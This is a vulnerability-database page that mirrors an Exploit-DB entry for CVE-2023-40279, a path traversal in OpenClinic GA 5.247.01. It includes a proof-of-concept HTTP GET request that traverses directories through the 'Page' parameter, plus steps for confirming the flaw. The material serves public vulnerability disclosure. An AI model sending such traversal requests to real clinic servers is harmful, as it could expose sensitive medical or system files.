Lucene search
K

OpenClinic GA 5.247.01 - Path Traversal (Authenticated)

🗓️ 15 Apr 2024 00:00:00Reported by VBType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 325 Views

OpenClinic GA 5.247.01 - Path Traversal allows retrieval and execution of arbitrary file

Related
Code
ReporterTitlePublishedViews
Family
0day.today
OpenClinic GA 5.247.01 - Path Traversal (Authenticated) Vulnerability
15 Apr 202400:00
zdt
Circl
CVE-2023-40279
19 Mar 202414:26
circl
CNNVD
OpenClinic GA Path Traversal Vulnerability
19 Mar 202400:00
cnnvd
CVE
CVE-2023-40279
19 Mar 202400:00
cve
Cvelist
CVE-2023-40279
19 Mar 202400:00
cvelist
NVD
CVE-2023-40279
19 Mar 202413:15
nvd
OSV
CVE-2023-40279
19 Mar 202413:15
osv
Packet Storm
OpenClinic GA 5.247.01 Path Traversal
15 Apr 202400:00
packetstorm
Positive Technologies
PT-2024-12882 · Unknown · Openclinic Ga
19 Mar 202400:00
ptsecurity
RedhatCVE
CVE-2023-40279
9 Jan 202612:30
redhatcve
Rows per page
# Exploit Title: OpenClinic GA 5.247.01 - Path Traversal (Authenticated)
# Date: 2023-08-14
# Exploit Author: V. B.
# Vendor Homepage: https://sourceforge.net/projects/open-clinic/
# Software Link: https://sourceforge.net/projects/open-clinic/
# Version: OpenClinic GA 5.247.01
# Tested on: Windows 10, Windows 11
# CVE: CVE-2023-40279

# Details
An issue was discovered in OpenClinic GA version 5.247.01, where an attacker can perform a directory path traversal via the 'Page' parameter in a GET request to 'main.do'. This vulnerability allows for the retrieval and execution of files from arbitrary directories.

# Proof of Concept (POC)
Steps to Reproduce:

- Crafting the Malicious GET Request:

- Utilize a web browser or a tool capable of sending custom HTTP requests, such as curl or Burp Suite.
- Format the GET request as follows (in this example, `../../main.jsp` is used to attempt directory traversal to access `main.jsp`):

GET /openclinic/main.do?Page=../../main.jsp HTTP/1.1
Host: 192.168.100.5:10088
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Connection: close
Cookie: JSESSIONID=[SESSION ID]
Cache-Control: max-age=0

2. Confirming the Vulnerability:
- Send the crafted GET request to the target server.
- If the server responds with the content of the requested file (e.g., `main.jsp`) from outside the intended directory, it confirms the presence of a directory path traversal vulnerability.
- This vulnerability can lead to sensitive information disclosure or more severe attacks.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation